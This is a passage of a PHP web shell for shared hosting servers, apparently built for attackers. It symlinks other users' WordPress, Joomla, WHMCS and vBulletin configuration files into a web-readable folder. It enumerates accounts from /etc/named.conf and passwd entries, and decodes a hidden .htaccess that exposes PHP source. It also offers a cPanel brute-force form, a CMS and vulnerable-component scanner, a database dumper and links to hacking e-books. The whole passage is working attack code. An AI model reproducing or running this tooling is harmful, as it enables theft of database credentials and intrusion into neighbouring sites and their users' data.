symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table><br>
<br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00ff00>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?><form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
<center><br>
<br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>
<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
<td align="center">English</td><td align="center">Indonesian</td>
</tr>
<tr>
<td><form method="post" action="">
E-book Hacking :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial24" > Hacking Exposed-5 </option>
<option value="tutorial25"> Internet Denial Of Service </option>
<option value="tutorial26">Computer Viruses For Dummies</option>
<option value="tutorial27">Hack Attacks Testing</option>
<option value="tutorial28">Secrets Of A Super Hacker</option>
<option value="tutorial29">Stealing The Network</option>
<option value="tutorial30">Hacker's HandBook</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form>
<td><form method="post" action="">
Tutorial by X'1N73CT :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial2">Search Engine Hacking</option>
<option value="tutorial3">SQL Injection dengan hackbar</option>
<option value="tutorial1" >Bypass Union</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">
E-Book from Syn|gress :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="cryptography_for_defeloper">Cryptography for Developer</option>
<option value="tutorial31">Mobile Malware Attack and Defense</option>
<option value="forensic">CD and DVD Forensic</option>
<option value="ddd">Open Sourch Security Tools</option>
<option value="metasploit">Metaslpoit Toolkit</option>
<option value="stealing_network">Stealing the Network</option>
<option value="security_polices">Creating Security Polices</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">
X-CODE MAGAZINE :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial4">X-CODE MAGAZINE 1</option>
<option value="tutorial5">X-CODE MAGAZINE 2</option>
<option value="tutorial6">X-CODE MAGAZINE 3</option>
<option value="tutorial7">X-CODE MAGAZINE 4</option>
<option value="tutorial8">X-CODE MAGAZINE 5</option>
<option value="tutorial9">X-CODE MAGAZINE 6</option>
<option value="tutorial10">X-CODE MAGAZINE 7</option>
<option value="tutorial11">X-CODE MAGAZINE 8</option>
<option value="tutorial12">X-CODE MAGAZINE 9</option>
<option value="tutorial13">X-CODE MAGAZINE 10</option>
<option value="tutorial14">X-CODE MAGAZINE 11</option>
<option value="tutorial15">X-CODE MAGAZINE 12</option>
<option value="tutorial16">X-CODE MAGAZINE 13</option>
<option value="tutorial17">X-CODE MAGAZINE 14</option>
<option value="tutorial18">X-CODE MAGAZINE 15</option>
<option value="tutorial19">X-CODE MAGAZINE 16</option>
<option value="tutorial20">X-CODE MAGAZINE 17</option>
<option value="tutorial21">X-CODE MAGAZINE 18</option>
<option value="tutorial22">X-CODE MAGAZINE 19</option>
<option value="tutorial23">X-CODE MAGAZINE 20</option>
<option value="tutorial024">X-CODE MAGAZINE 21</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr><br>
<br>
<?php
$submit = $_POST ['submit'];
if(isset($submit)) {
$pilih = $_POST['pilih'];
if ( $pilih == 'tutorial1') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial2') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial3') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial4') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_1.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial5') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_2.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial6') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_3.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial7') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_4.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial8') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial9') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_6.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial10') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_7.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial11') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_8.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial12') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode9.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial13') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode10.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial14') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode11.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial15') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode12.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial16') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode13.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial17') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode14.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial18') {
?>
<script>
document.location = 'http://xcode.or.id/Xcode15.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial19') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_16.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial20') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_17.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial21') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_18.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial22') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_19.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial23') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_20.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial024') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_21.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial24') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hacking_exposed_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial25') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/internet_denial_of_service.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial26') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial27') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hack_attacks_testing.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial28') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial29') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial30') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar';
</script>
<?php
}
elseif ( $pilih == 'ddd') {
?>
<script>
document.location = 'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial31') {
?>
<script>
document.location = 'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf';
</script>
<?php
}
elseif ( $pilih == 'cryptography_for_defeloper') {
?>
<script>
document.location = 'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf';
</script>
<?php
}
elseif ( $pilih == 'forensic') {
?>
<script>
document.location = 'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf';
</script>
<?php
}
elseif ( $pilih == 'metasploit') {
?>
<script>
document.location = 'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf';
</script>
<?php
}elseif ( $pilih == 'stealing_network') {
?>
<script>
document.location = 'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf';
</script>
<?php
}elseif ( $pilih == 'security_polices') {
?>
<script>
document.location = 'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf';
</script>
<?php
}
}
}
////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cms_detect'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br>
<br>
<center><b><font size=4>+--=[ CMS Detector ]=--+</font></b><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jss'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo '
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
}else{
echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><font color="red"><b>'.$ip.'</b></font></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
</table>';
echo "<br><br>";
echo'<table border="1" width="80%" align=\"center\">';
foreach(array_unique($allDmns) as $h3h3){
echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo"</table>";
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
<?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";
");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");
");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
/////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
